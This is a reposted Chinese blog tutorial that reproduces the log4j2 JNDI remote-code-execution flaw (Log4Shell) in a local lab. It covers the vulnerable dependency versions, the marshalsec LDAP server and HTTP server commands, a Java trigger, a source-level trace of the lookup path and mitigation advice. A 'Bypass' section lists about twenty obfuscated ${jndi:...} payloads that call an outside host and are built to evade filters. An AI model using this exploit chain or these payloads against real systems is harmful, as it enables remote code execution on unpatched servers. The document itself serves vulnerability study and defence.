我是靠谱客的博主 飞快画板,最近开发中收集的这篇文章主要介绍[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言

自漏洞爆出已经半年多了,可当时还是个java啥都不懂的菜鸡所以也没能及时复现,现在捡起来复现下21年席卷整个安全圈的log4j2漏洞

log4j2

漏洞原理

log4j 是 javaweb 的日志组件,用来记录 web日志 去指定下载文件的url 在搜索框或者搜索的 url 里面加上${jndi:ldap://127.0.0.1/test} ,log4j 会对这串代码进行表达式解析,给 lookup 传递一个恶意的参数指定,参数指的是比如 ldap 不存在的资源 $ 是会被直接执行的。后面再去指定下载文件的 url,去下载我们的恶意文件。比如是 x.class 下载完成后,并且会被执行

该漏洞只影响到log4j2,并不影响log4j。

影响版本

Apache Log4j 2.x <= 2.15.0-rc1

JDK版本应该是不大于8u191,因为在此之后rmi和ldap都禁用了远程codedebase选项

安全版本

Apache log4j-2.15.0 (Apache log4j-2.15.0-rc1、Apache log4j-2.15.0-rc2都不行都存在对应的绕过)

依赖

本地测试用的是2.14版本

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>

攻击实现

攻击方式也跟JNDI方式一样
开启本地服务

python -m http.server 7777

使用marshalsec构建LDAP服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999

exp

package log4j2;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Test {
private static final Logger log = LogManager.getLogger();
public static void main(String[] args) {
log.error("${jndi:ldap://127.0.0.1:9999/Sentiment}");
}
}

流程分析

调用error后,会调用logIfEnabled()

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
final Throwable t) {
if (isEnabled(level, marker, message, t)) {
logMessage(fqcn, level, marker, message, t);
}
}

if中调用isEnabled(),为true才能继续向下执行,跟进看一下其中有好几个level

在这里插入图片描述

对应值:

在这里插入图片描述

跟进isEnabled()后又调用了filter(),最后会retrun返回bool类型的值,所以这里我们就需要绕过intLevel >= level.intLevel();intLevel 默认值为200,所以我们只需要在上边找个值小于200的即可,所以这里一开始用的是error,当然fatal亦可

在这里插入图片描述

接着一路跟进logMessage —> logMessageSafely —> logMessageTrackRecursion —> tryLogMessage —> log,在LoggerConfig.java的456这一行的log()成功弹出了计算器

在这里插入图片描述

接着在PatternLayout.java的第344行不断调用format()方法,当i=8时,就会调用到MessagePatternConverter.javaformat()方法

在这里插入图片描述

跟进看一下117行会获取workingBuilder的值,之后又进入了123行的formaTo()

在这里插入图片描述

将我们传入的值追加到workingBuilder中(buffer是原本的值即117行赋值完后的值,追加完后变成了上图的value值)

在这里插入图片描述

然后从127行开始处理workingBuilder,一旦匹配到了${,就把${一直到末尾那部分截取出来,然后进行替换:

workingBuilder.append(config.getStrSubstitutor().replace(event, value));

跟进replace(),这个函数的作用是使用给定的源字符串作为模板,用来自解析器的匹配值替换所有出现的变量。

在这里插入图片描述

跟进substitute()

用于多级插值的递归处理程序。 这是主要的插值方法,它解析传入文本中包含的所有变量引用的值。

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();
final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
for (int j = i + matchLen; j < varNameExprChars.length; ++j){
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break;
}
}
break;
} else {
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
} else {
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);

prefixMatcher是${,suffixMatcher是}

接着在final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);判断是否匹配到${,得到偏移2

同理递归获取endMatchLen}的偏移,当pos=38时,成功获取偏移1,继续向下执行

接着通过刚刚获取的startMatchLen和pos的值,对chars进行截取,即截取${}中的内容jndi:ldap://127.0.0.1:9999/Sentiment

String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);

接着又对jndi:ldap://127.0.0.1:9999/Sentiment执行了substitute()

if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}

这种递归调用有点类似于SPEL表达式注入中的方式,就是为了避免出现这种嵌套的方式:${${}}

都处理完之后就到了下边的resolveVariable(),其中varName就是${}内的值,buf就是加上${}的值

String varValue = resolveVariable(event, varName, buf, startPos, endPos);

之后就到了lookup,

在这里插入图片描述

继续跟进

在这里插入图片描述

①获取PREFIX_SEPARATOR的索引4,PREFIX_SEPARATOR=" : "

②prefix获取索引后,通过索引进行个截断,即通过冒号截断,将jndi:ldap://127.0.0.1:9999/Sentiment的jndi截取了出来

③name获取冒号后的值即:ldap://127.0.0.1:9999/Sentiment

④获取前缀jndi后,在通过再根据前缀得到lookup

在这里插入图片描述

⑤执行lookup

跟进后经过逐级调用后进入了jndi的ldap攻击方式的流程,最后弹出计算机

在这里插入图片描述

调用栈

<init>:6, Exec
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:223, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1116, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1038, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:345, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:543, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:502, LoggerConfig (org.apache.logging.log4j.core.config)
log:485, LoggerConfig (org.apache.logging.log4j.core.config)
log:460, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2198, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2152, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2135, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2011, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test (log4j2)

Bypass

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:
jn${date:}di${date:':'}
j${k8s:k5:-ND}i${sd:k5:-:}
j${main:k5:-Nd}i${spring:k5:-:}
j${sys:k5:-nD}${lower:i${web:k5:-:}}
j${::-nD}i${::-:}
j${EnV:K5:-nD}i:
j${loWer:Nd}i${uPper::}

修复建议

升级JDK

  • JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

log4j2配置

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
  • 设置“log4j2.formatMsgNoLookups=True”
  • 禁止服务器外连

第三方产品

  • 部署使用第三方防火墙产品进行安全防护。

官方方案

  • 将log4j框架升级至最新版本

最后

以上就是飞快画板为你收集整理的[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议的全部内容,希望文章能够帮你解决[Java安全]—log4j2 rce复现前言log4j2Bypass修复建议所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(43)

评论列表共有 0 条评论

立即
投稿
返回
顶部